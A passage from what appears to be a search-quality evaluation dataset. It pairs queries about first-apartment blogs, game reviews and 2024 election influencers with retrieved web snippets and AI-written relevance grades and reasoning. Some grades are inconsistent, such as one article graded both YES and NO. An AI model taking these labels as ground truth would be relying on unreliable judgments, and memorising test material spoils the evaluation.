outdoor activities to keep New Yorkers engaged. Being interested in urban planning, these are perspectives and experiences that I hope to take home.\nI imagine the hustle and bustle of NYC and tryi",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is a blog post, so this subcomponent is met -> ([1], SATISFIED)\n2. {young adult}: The document mentions Jackline Okeyo, a second-year EMPA student, which suggests she is likely a young adult -> ([2], SATISFIED)\n3. {recently moved to a big city}: The document discusses Jackline's recent move to NYC -> ([1], SATISFIED)\n4. {navigating the challenges of finding their first apartment}: The document discusses the challenges Jackline faced in finding an apartment in NYC -> ([1], SATISFIED)\n5. {navigating the challenges of finding their first job}: The document does not mention anything about finding a job -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are all satisfied except for the job search aspect, which is not mentioned but should not affect the evaluation since it is tagged [0]. Therefore, the document is helpful for the user's request. YES."
            },
            {
                "grade": "NO",
                "title": "What advice do you have for a young person moving into ...",
                "url": "https://www.quora.com/What-advice-do-you-have-for-a-young-person-moving-into-an-apartment-on-their-own-for-the-first-time",
                "published_date": null,
                "text": "What advice do you have for a young person moving into an apartment on their own for the first time?       ||||I||||                Skip to content\n                Skip to search\n                Sign In\n                    What advice do you have for a young person moving into an apartment on their own for the first time?\nPlease enable Javascript and refresh the page to continue",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is from Quora, which is a question-and-answer platform, not a personal blog post -> ([1], UNSATISFIED)\n2. {young adult}: The document does not provide information about the age of the person giving advice -> ([0], UNSURE)\n3. {recently moved to a big city}: The document does not provide information about the person recently moving to a big city -> ([0], UNSURE)\n4. {navigating the challenges of finding their first apartment and job in a new place}: The document is about advice for moving into an apartment for the first time, but it does not discuss the challenges of finding a job or the personal experience of navigating these challenges -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {personal blog post} and {navigating the challenges of finding their first apartment and job in a new place}. Both of these subcomponents are UNSATISFIED, so the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "10 tips to help you find the perfect apartment after college",
                "url": "https://www.cnbc.com/2022/04/01/10-tips-to-help-you-find-the-perfect-apartment-after-college.html",
                "published_date": null,
                "text": "Congratulations! You did it! You graduated college and got your degree. But once all the college graduation parties and final hangouts with your friends come to an end, it\u2019s time to hesitantly glare into the next phase of your life. It\u2019s time to get your first apartment. A lot of us know roughly where we want to go \u2014 \u201cI\u2019m moving to New York!\u201d or \u201cI\u2019m off to Chicago!\u201d But most of us have no idea what we\u2019re in for. All that hard work in school may have helped you find your dream job, but it won\u2019t help you find your dream apartment. That\u2019s up to you. \u201cMoving to LA has a lot of unique challenges,\u201d said Katie Goralski, a recent graduate from Syracuse University. \u201d[My roommate and I] constantly were looking for an area that fits both our safety and budgetary needs.\u201d   Katie Goralski, a graduate of Syracuse University, now lives in Los Angeles. Source: Katie Goralski   That\u2019s really tricky. A lot of times, you find a neighborhood in a city that you love but are soon deflated when you realize you can\u2019t afford to live there. If you opt for a neighborhood where the rent is really cheap, it might not be that safe. You have to find that balance. And it\u2019s not just the rent you have to worry about \u2013 it\u2019s everything else. If you\u2019re moving to New York City, for example, you\u2019re going to find that everything costs more. A LOT more. You have to factor that in when you\u2019re figuring out how much rent you can afford. \u201cLiving in New York City is expensive,\u201d said Matt Kennedy, a recent Marymount Manhattan College graduate. \u201cI knew that coming in but didn\u2019t really understand it.\u201d This may seem daunting, but you\u2019re not alone. Hundreds of thousands of people your age are going through the exact same thing you are. So, first thing: start crunching some numbers. It\u2019s important to understand your budget and the average rents in the city you want to move to. Pick a neighborhood that\u2019s right for you and try to find a roommate if possible. Start scouring the internet for trustworthy apartment listing sites. Don\u2019t forget to include the cost for ut",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is an article from CNBC, not a personal blog post -> ([1], UNSATISFIED)\n2. {young adult who recently moved to a big city}: The article includes quotes from young adults who recently moved to big cities, such as Katie Goralski and Matt Kennedy -> ([2], SATISFIED)\n3. {navigating the challenges of finding their first apartment and job in a new place}: The article discusses the challenges of finding an apartment, but does not focus on finding a job -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {personal blog post} and {navigating the challenges of finding their first apartment and job in a new place}. Since both of these subcomponents are UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "The Step by Step Guide to Picking Your First Apartment",
                "url": "https://www.uniquelymickie.com/picking-your-first-apartment/",
                "published_date": null,
                "text": "I am super excited for this blog post today because I have exciting news to share! This summer, my boyfriend (we\u2019ll be at 4 years in September) and I will be moving into our very first \u201cadult\u201d apartment. No more college dorms or college apartments for us! Titi graduated this past December with his bachelor\u2019s degree (gotta love a black, educated man) and I\u2019ll be graduating from pharmacy school in May 2020 (so a little more than 1 year to go). With both of us being a bit older than the normal college kids, we both felt like it was the perfect time for us to join the adulting world and get our first place together. \n \n   It\u2019s a little scary, but also very exciting because it\u2019s a new adventure that we\u2019re taking. Our apartment hunting experience was a little different than most because we had a very short list of places that we were looking at before we finally settled on one, in particular. It\u2019s beautiful, but I have to wait to show you until move-in day of what it looks like. Actually, let me know if you want me to show the entire process of us decorating the new place because that could be a really fun little series! \n In this blog post, I wanted to share my tips and some advice that really helped my boyfriend and I find the perfect place for not only our budget, but what we actually wanted in our first apartment. Because don\u2019t forget that apartments complexes or rental properties are in the business of making money and you have to be careful about the decisions you make when it comes to renting from people. \n  Decide what apartment features matter the most  \n Before you start driving around town looking for apartments, sit down at home and create a list of apartment features that you want in your apartment. Create a list for items that are must-haves, a list of things that you want, but could do without, and then a list of your dream features. These three lists may include features such as locations, bedrooms, square feet, amenities, parking, elevators, on-site laundry, and so much more. \n When Titi and I sat down",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is a personal blog post -> ([1], SATISFIED)\n2. {young adult}: The author mentions graduating from pharmacy school soon, which suggests they are a young adult -> ([2], SATISFIED)\n3. {recently moved to a big city}: The document mentions moving into their first \"adult\" apartment and describes the process, indicating a recent move -> ([2], SATISFIED)\n4. {navigating the challenges of finding their first apartment}: The document discusses the experience and challenges of apartment hunting and provides tips -> ([1], SATISFIED)\n5. {navigating the challenges of finding their first job}: The document does not mention anything about finding a job -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {personal blog post}, {young adult}, {recently moved to a big city}, and {navigating the challenges of finding their first apartment}. All these subcomponents are satisfied. YES."
            }
        ]
    },
    {
        "query": "I'm trying to find a blog post written by a hobbyist gamer who provides a detailed review and critique of the latest AAA open-world adventure game release.",
        "grid_pos": [
            1,
            2
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "The queries cover a range of topics that test Exa's understanding of current events, personal experiences, and niche interests. They require Exa to search for and understand the nuances of blog posts, Substack newsletters, and personal essays - content that goes beyond simple factual information. The queries have enough detail to be specific, but still leave room for Exa to demonstrate its ability to comprehend complex queries and provide relevant, high-quality search results."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Black Ship of the Sunless",
                "url": "https://tenfootpole.org/ironspike/?p=8054",
                "published_date": "2022-06-25",
                "text": "By AAA Video Game Designer and Author T. ELLIOT CANNON\nSelddog Games\nOSRIC \nLevels 8-10\nAs a larger body of work, Black Ship of the Sunless has a central theme \u2013 corrupted history. This first episode, Black Waters, serves as the inciting incident, transitioning your players from reality to the surrealistic version of the island of Cozumel on the Yucat\u00e1n peninsula in the year 1519. The player\u2019s ship is about to smash into a coral reef and find themselves marooned and trapped at the footsteps of a pre-Columbian Maya temple at Tantum Cuzamil\nThis 61 page adventure, written by AAA Video Game Designer and Author T. ELLIOT CANNON, features three different versions of the same reality. The players kill a spanish conquistador to escape each one, and the afterlife place/reality they are in. Oops, sorry, no, my bad. I meant to say that AAA Video Game Designer and Author T. ELLIOT CANNON has written an absolutely SHIT FEST of an adventure that stands out as one of worst pieces of dreck I\u2019ve ever reviewed.\nI don\u2019t know, what, ten years? Three a week? I\u2019ve seen some shit, man. But this one, ooooh boy, its really pushing the limits of the fucking shit I have to eat three times a week. AAA Video Game Designer and Author T. ELLIOT CANNON has written a real doozy. When you get through my jaded exterior of depressingly low expectations then you\u2019ve done a job indeed!\nOn page three, the title page, we\u2019re told that this adventure was Written by AAA Video Game Designer and Author T. ELLIOT CANNON. Look man, I\u2019m fine with hubris. But, you gotta know, AAA Video Game Designer and Author T. ELLIOT CANNON, that choice was gonna lead to this? It is ABSOLUTELY the first sign that this was going to be a very special adventure.\nThe next page? How about this little blurb right at the top: \u201cReference to the content in this work in any media must include the below citation verbatim.\nCannon, T. Elliot. Black Ship of the Sunless. St Johns, Florida. April 2022.\nT. Elliot Cannon \u2013 Video Game Designer and Author. http://www.telliotcannon.com/\u201d Really?",
                "model_trace": "Query Decomposition:\n1. {blog post}: This document is a blog post -> ([1], SATISFIED)\n2. {written by a hobbyist gamer}: The author of the blog post is not explicitly identified as a hobbyist gamer; the critique is written by someone who reviews adventures, but it is not clear if they are a hobbyist gamer -> ([0], UNSURE)\n3. {detailed review and critique}: The document provides a detailed critique of the adventure -> ([1], SATISFIED)\n4. {latest AAA open-world adventure game release}: The document reviews \"Black Ship of the Sunless,\" which is described as an adventure, but it is not clear if it is an AAA open-world adventure game -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {blog post} and {detailed review and critique}. Both of these subcomponents are satisfied. However, the document does not provide enough information to confirm that the author is a hobbyist gamer or that the reviewed adventure is the latest AAA open-world adventure game release. Ignoring these subcomponents tagged [0], the document still satisfies the key subcomponents.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Design review of Redfall by Arkane Studios Austin",
                "url": "https://www.blog.radiator.debacle.us/2023/06/design-review-of-redfall-by-arkane.html",
                "published_date": "2023-06-02",
                "text": "I completed the main campaign in Redfall (official site, Steam, also on Game Pass), a 4 player co-op open world shooter by Arkane Austin, who's mostly known for detailed single player story-filled action games. The reviews and player reaction haven't been positive, but as an Arkane fan I felt compelled to play it for myself and take it on its own merits. Overall I feel it's an OK game that's basically playable, despite the bugs and aggressive texture streaming and general unfinished feeling. If Microsoft had given them another 6-12 months to truly polish everything, then it maybe would've been a more solid OK game. Anyway I didn't mind the incompleteness so much because I was playing less for fun, and more \"for work\", as a first person game developer. In this sense, playing a 75% finished game is more useful than playing a 100% finished game. You get to see more of the big broad strokes before they got quite resolved, the intent vs. the execution. So this post will focus on my read of the general game design and player experience. SPOILER WARNING: lots of general systems spoilers and gameplay screenshots, some story spoilers The high level narrative premise has promise. What if vampires invaded Cape Cod (hmm, ok?...) but also the vampires are evil biotech CEOs who devoured the next Henrietta Lacks to oil the gears of capitalism forever (not bad!) There's a gamer joke about how every JRPG ends with killing god, and the emerging Western millennial equivalent is to end with the final boss of capitalism. Redfall's final boss of capitalism is an Elizabeth Holmes / Maleficent type who has enclosed a public good known as the sun. You're fighting not only the privatization of public health but also reckless climate engineering! But not really. The player never quite experiences these ideas in the game itself. Instead there's cutscenes without animation, scripted conversations without choreography, and readables you rarely read because the game never pauses. As a narrative stop-gap, every boss unlock quest features mandat",
                "model_trace": "Query Decomposition:\n1. [blog post]: This document is a blog post -> ([1], SATISFIED)\n2. [written by a hobbyist gamer]: The author mentions they are a first-person game developer, which suggests they are not a hobbyist but a professional -> ([1], UNSATISFIED)\n3. [detailed review and critique]: The content includes a detailed review and critique of the game \"Redfall\" -> ([1], SATISFIED)\n4. [latest AAA open-world adventure game release]: \"Redfall\" is a AAA open-world adventure game released recently -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents {blog post}, {detailed review and critique}, and {latest AAA open-world adventure game release}, but it does not satisfy {written by a hobbyist gamer}. Since the subcomponent {written by a hobbyist gamer} is tagged with [1] and is UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Final Roadtrip Fantasy XV - review",
                "url": "https://rurunikiri.blogspot.com/2022/06/final-roadtrip-fantasy-xv-review.html",
                "published_date": "2022-06-24",
                "text": "Genre:RPG. Developer/publisher: Square Enix. Platform: PS4/PC. Release date: 2016-11-29. With not much else to play I decided to look at games I once started but never finished... which lead me to FF15! I did remember where I stopped it was after arriving in galdin quay and met some suspicious guy. Knowing this I saw no reason to replay from scratch and it was actually easy enough to get the hang of things again! Casually adds even more screenshots... after making posts. My reasons for dropping the ball on this before was simple, my old ps4 had a bug where it would try to eject discs sometimes even when there's no disc inside as well as annoying beeping sounds when it tried to do exactly that (even when turned off). It was not just me that had it but yea I couldn't really play disc based games cuz of this. A shame really because this game was quite fun and I don't understand the hate it got. I suppose I could have bought it digitally when royal came out but I didn't and it just ended up being dropped till now.\ud83d\ude05 (The old model was replaced by a slim) Pro's - Exploring and doing quests/hunts is fun. - Cast has great chemistry and most of the time the vibes are chill... - Story is straight-forward but this is not a character game. - Scenery is beautiful and the OST is really good. Con's - Story can be pretty peak fiction but terrible execution and full of holes so if you want to fill those gaps, you need the movie(sets the stage), dlc ep's and read the novel(epilogue). - Magic system is a hassle. More ramblings after the jump break. I played on normal from start to finish, there was no reason to switch to easier difficulties during the main story atleast I go into it later when I did switch. I'm not gonna write much about the battle system but its decent and easy to get the hang of it there's a lot of quest... so its easy to get overwhelmed and end up doing too many which leads to overleveling. Quests give a lot of exp and sometimes money but that's mostly from the hunts that aside there is no real grinding involved",
                "model_trace": "Query Decomposition:\n1. [blog post]: This is a blog post -> ([1], SATISFIED)\n2. [written by a hobbyist gamer]: The author appears to be a hobbyist gamer, based on the casual and personal tone of the writing -> ([2], SATISFIED)\n3. [detailed review and critique]: The content includes a detailed review and critique of the game, covering pros and cons, personal experiences, and various aspects of the game -> ([1], SATISFIED)\n4. [latest AAA open-world adventure game release]: The game reviewed, Final Fantasy XV, was released in 2016, which is not the latest release -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponents related to being a blog post, written by a hobbyist gamer, and providing a detailed review and critique. However, it does not satisfy the subcomponent regarding the latest AAA open-world adventure game release. Given that the \"latest\" aspect is crucial to the query, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Storytelling in Open World Games. A Writer's Guide | by Talin",
                "url": "https://dreamertalin.medium.com/storytelling-in-open-world-games-e73b0bc1b1b",
                "published_date": null,
                "text": "A Writer\u2019s Guide          As a former game creator, I\u2019ve met many people over the years who wanted to \u201ctell their story\u201d within the medium of computer games. This article contains advice for people who want to do just that. It\u2019s based on my experience both as a game player, and someone who has worked on games of this type. Human beings are storytelling animals \u2014 we have a genetic predisposition to understand our environment in terms of stories. Our brains are wired for this. But to leverage this wiring requires following certain rules and conventions. Some of these have been around since the invention of writing; others are relatively new, and relate to the specific medium of computer games. The term \u201copen world\u201d refers to a style of game in which the player has the freedom to explore in any direction. This includes the freedom to decide which stories they want to experience, and in what order. Examples of open world games are Elder Scrolls: Skyrim and Grand Theft Auto. This essay will focus specifically on the task of writing stories for open world games like these. Throughout this essay, I will use epic of the Grail Quest \u2014 the tale of King Arthur \u2014 as an example that most readers will be familiar with. Part of the reason for choosing this tale is that the Grail Quest is really about the stories of Arthur\u2019s knights and their adventures; this is an example of an over-arching major arc that encompasses many smaller arcs within it. Story vs. Interactivity Player choice and alternate endings Unlike games with a more linear story structure, players in an open world have a great number of choices available to them. This does not mean, however, that the individual stories have a \u201cbranching\u201d structure or allow for a large number of possible endings. An open world game is not the same as a \u201cchoose your own adventure\u201d (CYOA) novel, where the reader is constantly being asked to decide the direction of the plot. Game developers generally avoid the CYOA structure because it has a number of serious failings. Cost of multiple",
                "model_trace": "Query Decomposition:\n1. {blog post}: This document is a blog post on Medium -> ([1], SATISFIED)\n2. {written by a hobbyist gamer}: The author mentions being a former game creator, which suggests a professional background rather than a hobbyist -> ([2], UNSATISFIED)\n3. {provides a detailed review and critique}: The document focuses on storytelling in open-world games rather than a review or critique -> ([1], UNSATISFIED)\n4. {latest AAA open-world adventure game release}: The document does not mention any specific latest AAA open-world adventure game release -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {blog post} and {provides a detailed review and critique}. Since {provides a detailed review and critique} is UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "The Art of Video Game Reviews And Tips For Aspiring ...",
                "url": "https://news.lenovo.com/the-art-of-video-game-reviews-and-tips-for-aspiring-writers/",
                "published_date": null,
                "text": "My journey of making video gaming more than just a hobby started when I was 25 years old. I was so engrained in the gaming world and had a real urge to share my passion with others, so I wanted to put that into words. Gaming has primarily been a male-dominated space and, while I enjoyed their content, I felt there was a chance for more female voices to share their experiences and destigmatize women gamers. This is when my Instagram page took off and I fell in love with analyzing games and sharing my thoughts with the world. As an avid reviewer and writer, my day-to-day consists of submerging myself in the realm of video games. I do this by embarking on the passionate journey of crafting articles, while merging my skills in gaming, writing and analysis.     Technical Evaluation and In-Depth Analysis   There are so many new titles being released throughout the year that I have to be selective with what I choose to play and where to dedicate my full attention. I do this by fully immersing myself in the world of a chosen game, diving into its mechanics, graphics and narrative. This initial phase is essential to grasp the game\u2019s essence, understand its gameplay and vicariously feel the character\u2019s experience. Upon completing this immersive phase, I shift my focus to assessing the technical aspects of the game, such as the quality of the graphics, soundtrack, gameplay and fluidity. This evaluation serves as groundwork for dissecting the game\u2019s performance in the forthcoming article I will compose. Gameplay has evolved so much since I was a child \u2013 now, most games will often take dozens of hours to complete. This means I must engross myself in a substantial amount of gameplay before I can conduct a thorough analysis of the experience. Usually, this includes inspecting the mechanics, narrative elements, characters and other distinctive features that make the game unique. Analyzing allows me to contextualize the game within the broader industry, spotlighting its strengths and identifying any potential shortcomings or comp",
                "model_trace": "Query Decomposition:\n1. {blog post}: This document is a blog post -> ([1], SATISFIED)\n2. {written by a hobbyist gamer}: The author describes their journey from a hobbyist to a more serious gamer, so this subcomponent is likely met -> ([2], SATISFIED)\n3. {detailed review and critique}: The document discusses the author's process for reviewing and critiquing games in detail, but does not provide an actual review or critique of a specific game -> ([1], UNSATISFIED)\n4. {latest AAA open-world adventure game release}: The document does not mention any specific game, let alone the latest AAA open-world adventure game -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {blog post}, {written by a hobbyist gamer}, and {detailed review and critique}. Since the document does not provide an actual review or critique of a specific game, it does not satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "This Year in Videogame Blogging: 2022",
                "url": "https://www.critical-distance.com/2022/12/31/this-year-in-videogame-blogging-2022/",
                "published_date": null,
                "text": "What can be said at the close of 2022 that hasn\u2019t already prefaced a thousand best-of lists?\nIt wouldn\u2019t be fair to say there were\u00a0no bright spots this year, because there certainly were. In addition to a slate of excellent new releases \u2014 many of which are discussed below \u2014 Critical Distance also saw an immense outpouring of support from you, our readers, when we launched our emergency fundraising campaign this past November. Our Patreon is back on track, our Discord server\u2018s buzzing with activity, and we have some great new stuff planned for you in 2023. None of this would be possible without your support.\nBut I won\u2019t lie, reader. There was a moment earlier this year when I thought to myself: \u201cDoes the world even still need Critical Distance? As journalism continues to collapse and everyone is strained financially, is the era of games blogging finally at the end?\u201d\nThen I read an Art Maybury post about some early 1970s piece of interactive fiction I would never have heard of otherwise and thought: \u201cDon\u2019t be ridiculous. This is exactly why Critical Distance exists.\u201d\nSenior Curator Chris Lawrence and I have once again combed through a year\u2019s worth of weekly roundups to bring you more than 80 works that run the gamut from historical deep dives to industry politics \u2014 and yes, quite a few new releases as well. No matter what you take away from 2022, there is something in here for everyone.\n(One disclaimer: Due to a mixup with scheduling, we weren\u2019t able to open submissions to readers as much as we have in past years. We did our best to include as many reader submissions as we could.)\n Historical POVs \nWe begin in the past. 2022 saw not just a wonderful assortment of retrospectives on classic games but also the people who made them, from the legacy of sound effects to Roberta Williams\u2019s much-celebrated return to game development.\n  Retro spotlight:\u00a0Phantasy\u00a0Star\u00a0II | Retro XP  \nMarc Normandin looks back at a JRPG that was always ahead of the curve. \n  The Powerful Queer Horror of\u00a0Rule\u00a0of\u00a0Rose\u00a0| Paste  \nMadeline Blondea",
                "model_trace": "Query Decomposition:\n1. {Blog post}: The document is a compilation of blog posts from 2022 -> ([1], SATISFIED)\n2. {Written by a hobbyist gamer}: The document does not specify if the authors are hobbyist gamers -> ([0], UNSURE)\n3. {Detailed review and critique}: The document mentions various types of content including reviews, but does not specify if they are detailed critiques of the latest AAA open-world adventure game -> ([2], UNSURE)\n4. {Latest AAA open-world adventure game release}: The document mentions new releases but does not specify if they include the latest AAA open-world adventure game -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponent {Blog post}, but it is unclear if it meets the other subcomponents related to the author being a hobbyist gamer, providing a detailed review and critique, and focusing on the latest AAA open-world adventure game. Therefore, the document is not helpful for the user's specific query. NO."
            }
        ]
    },
    {
        "query": "Can you help me find a Substack article that provides an in-depth analysis of the role of social media influencers in the 2024 US presidential election and the potential impact on voter behavior?",
        "grid_pos": [
            1,
            2
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "The queries cover a range of topics that test Exa's understanding of current events, personal experiences, and niche interests. They require Exa to search for and understand the nuances of blog posts, Substack newsletters, and personal essays - content that goes beyond simple factual information. The queries have enough detail to be specific, but still leave room for Exa to demonstrate its ability to comprehend complex queries and provide relevant, high-quality search results."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "The End of Elections?",
                "url": "https://owenshaffer.substack.com/p/the-end-of-elections",
                "published_date": "2022-04-25",
                "text": "The advances in technology are mind-boggling. Thirty years ago, the Internet was a mostly text-based medium that researchers used, and cell phones, tablets and smartwatches were science fiction. Today we can hardly survive without them. This technology, however, is paving the way to make elections superfluous through emotional manipulation. Emotions are an important component of human decision-making, and our election process is no exception. They took a major leap forward in the 1964 US presidential election when the Lyndon Johnson campaign introduced the Daisy Girl advertisement to invoke fear by implying that Barry Goldwater might start a nuclear war. The ad featured a three-year-old girl counting and plucking petals from a daisy juxtaposed with a nuclear explosion. Today emotional manipulation has spawned a $14 billion industry; enough to spend $90 per vote cast in the 2020 national elections. The election industry slices and dices huge voter datasets into demographically distinct audiences for targeted, emotion-based advertising. Surveys and focus groups match specific demographics to specific issues, and a statistical model of persuadability is applied to each voter. Then specific voters are selected for phone, mail or email messages focusing on the issues and arguments that would best persuade them. This current model, shown in the top portion of this figure, has been in use for decades. Over the past several years a new model has been emerging, shown in the area inside the dotted box. It uses a feedback loop where messages can be tried and improved in hours, as opposed to weeks using the older surveys-and-focus-groups approach. The new model couples the Internet and social media to give feedback through companies like Twitter and Facebook, which allows for the generation of subsequent, more compelling content to influence voters. Ongoing research in the connection between emotions and emoji, hashtags and social media comments is greatly improving the potency of these messages. The social media feedback lo",
                "model_trace": "Query Decomposition:\n1. [Substack article]: The document is a Substack article -> ([1], SATISFIED)\n2. [In-depth analysis of the role of social media influencers]: The document discusses the role of social media and emotional manipulation in elections, but it does not specifically focus on social media influencers -> ([1], UNSATISFIED)\n3. [2024 US presidential election]: The document does not mention the 2024 US presidential election; it references past elections and general trends -> ([1], UNSATISFIED)\n4. [Potential impact on voter behavior]: The document discusses the impact of emotional manipulation and targeted advertising on voter behavior, which is relevant to the query -> ([1], SATISFIED)\n\nAssessment: While the document satisfies the subcomponents of being a Substack article and discussing the impact on voter behavior, it does not specifically address the role of social media influencers or the 2024 US presidential election. Therefore, it does not fully meet the user's query requirements. NO."
            },
            {
                "grade": "YES",
                "title": "Will 2024 be the influencer election?",
                "url": "https://anchorchange.substack.com/p/will-2024-be-the-influencer-election",
                "published_date": "2023-04-12",
                "text": "It\u2019s another slow but busy week in Washington. Congress is still on recess, but the tech world keeps moving at warp speed between the leaked classified documents, Twitter stepping in it all over the place between labeling NPR as state-sponsored media and banning Substack links for a few days. Substack also rushed out its Twitter-esque clone Notes. Speaking of Notes, I\u2019ve been using it since Friday and love it. For now, I\u2019ve moved most of what I would put on Twitter to this to see how it goes. Many of the people I used to engage with on Twitter are here now, and I like how it\u2019s a way to engage with readers like you and other writers. Feel free to join the fun here. What I want to talk about today, though, is another story that\u2019s been making the rounds - Biden\u2019s plan to utilize influencers for his campaign and the plan to potentially even give them their own briefing room in the White House. At first blush, this might not seem like a big deal - but it\u2019s a strategy that, while likely necessary and a smart thing to think about - is littered with land mines. Today\u2019s post is for paid subscribers! A huge thank you to the now over 4,000 of you who are free subscribers. Welcome! I hope you enjoy what I have to say. If you have any feedback please do reply and let me know. If you upgrade to paid today - $50 per year or $5 per month - you\u2019ll get access to content like this and the archives, and support me to spend more time writing and researching. I really enjoy doing this, and your support means a lot.",
                "model_trace": "Query Decomposition:\n1. {Substack article}: This document is a Substack article -> ([1], SATISFIED)\n2. {in-depth analysis of the role of social media influencers in the 2024 US presidential election}: The article discusses Biden's plan to utilize influencers for his campaign, which is relevant to the role of social media influencers in the 2024 US presidential election -> ([1], SATISFIED)\n3. {potential impact on voter behavior}: The article mentions that the strategy is \"littered with land mines,\" implying a discussion on its potential impact, but it is not clear if it provides an in-depth analysis of the impact on voter behavior -> ([2], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to being a Substack article and discussing the role of social media influencers in the 2024 US presidential election. Although it is unclear whether it provides an in-depth analysis of the potential impact on voter behavior, the document seems relevant and potentially useful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "Where will the campaigns for president happen?",
                "url": "https://mcintee.substack.com/p/battleground-states-21-11-17",
                "published_date": "2023-06-24",
                "text": "In the Electoral College system, each state elects or appoints a slate of electors; the electors then in turn vote for a president. Because different states have different combinations of cultural and economic interests, they fall in different places along a political spectrum. Presidential candidates rarely get similar levels of support across the entire country. source States to the far left or right of the American political spectrum are generally not competitive in a presidential election. For example, even though we don\u2019t know which candidates will run in 2028, it is very likely that a Democratic candidate will win Hawaii and a Republican candidate will win Wyoming \u2014 and that no major presidential candidate will hold any campaign events in either state. It is also likely that a majority of the presidential campaign will be focused sharply on a handful of key battleground states. In most recent presidential election cycles, more than half of all major campaign events were held in four states, and more than half of all advertising dollars were spent in markets that included those four states. Illustrating the key battleground states that attracted candidate attention in 2004, 2008, 2012, and 2016. Note that Iowa\u2019s appearance in 2004 and 2012 is partly linked to the Iowa\u2019s status as an early voting state in the primary process. three quarters of the states will be ignored large states The four states currently expected to be at the center of the presidential campaign are Pennsylvania, Georgia, Arizona, and Wisconsin. Other key states that were close in 2020 and will likely be heavily contested in 2024 include Florida, North Carolina, Michigan, and Nevada. In addition, Republicans are likely to spend money in Minnesota and New Hampshire. The final possible battleground state is Virginia, but only if Republicans nominate the state\u2019s governor, Glenn Youngkin. To put this in perspective, the following four states are definitely battlegrounds going into 2024: Pennsylvania: 5th largest population (19 EVs) Georgia: 8t",
                "model_trace": "Query Decomposition:\n1. {Substack article}: This document is a Substack article -> ([1], SATISFIED)\n2. {in-depth analysis of the role of social media influencers in the 2024 US presidential election}: The document does not mention social media influencers or their role in the election -> ([0], UNSATISFIED)\n3. {potential impact on voter behavior}: The document does not discuss the impact on voter behavior related to social media influencers -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {Substack article}, which is satisfied. However, the document does not address the key aspects of the query regarding social media influencers and their impact on voter behavior. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Will 2024 be the influencer election?",
                "url": "https://anchorchange.substack.com/p/will-2024-be-the-influencer-election",
                "published_date": null,
                "text": "It\u2019s another slow but busy week in Washington. Congress is still on recess, but the tech world keeps moving at warp speed between the leaked classified documents, Twitter stepping in it all over the place between labeling NPR as state-sponsored media and banning Substack links for a few days. Substack also rushed out its Twitter-esque clone Notes. Speaking of Notes, I\u2019ve been using it since Friday and love it. For now, I\u2019ve moved most of what I would put on Twitter to this to see how it goes. Many of the people I used to engage with on Twitter are here now, and I like how it\u2019s a way to engage with readers like you and other writers. Feel free to join the fun here. What I want to talk about today, though, is another story that\u2019s been making the rounds - Biden\u2019s plan to utilize influencers for his campaign and the plan to potentially even give them their own briefing room in the White House. At first blush, this might not seem like a big deal - but it\u2019s a strategy that, while likely necessary and a smart thing to think about - is littered with land mines. Today\u2019s post is for paid subscribers! A huge thank you to the now over 4,000 of you who are free subscribers. Welcome! I hope you enjoy what I have to say. If you have any feedback please do reply and let me know.  If you upgrade to paid today - $50 per year or $5 per month - you\u2019ll get access to content like this and the archives, and support me to spend more time writing and researching. I really enjoy doing this, and your support means a lot.",
                "model_trace": "Query Decomposition:\n1. {Substack article}: This document is from Substack -> ([1], SATISFIED)\n2. {in-depth analysis of the role of social media influencers in the 2024 US presidential election}: The document mentions Biden's plan to utilize influencers for his campaign and hints at a strategy involving influencers, but it does not provide an in-depth analysis within the provided content -> ([1], UNSATISFIED)\n3. {potential impact on voter behavior}: The document does not mention the potential impact on voter behavior -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Substack article} and {in-depth analysis of the role of social media influencers in the 2024 US presidential election}. Since the document does not provide an in-depth analysis, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Guide to the 2024 Elections - Anchor Change with Katie Harbath",
                "url": "https://anchorchange.substack.com/p/guide-to-the-2024-elections",
                "published_date": null,
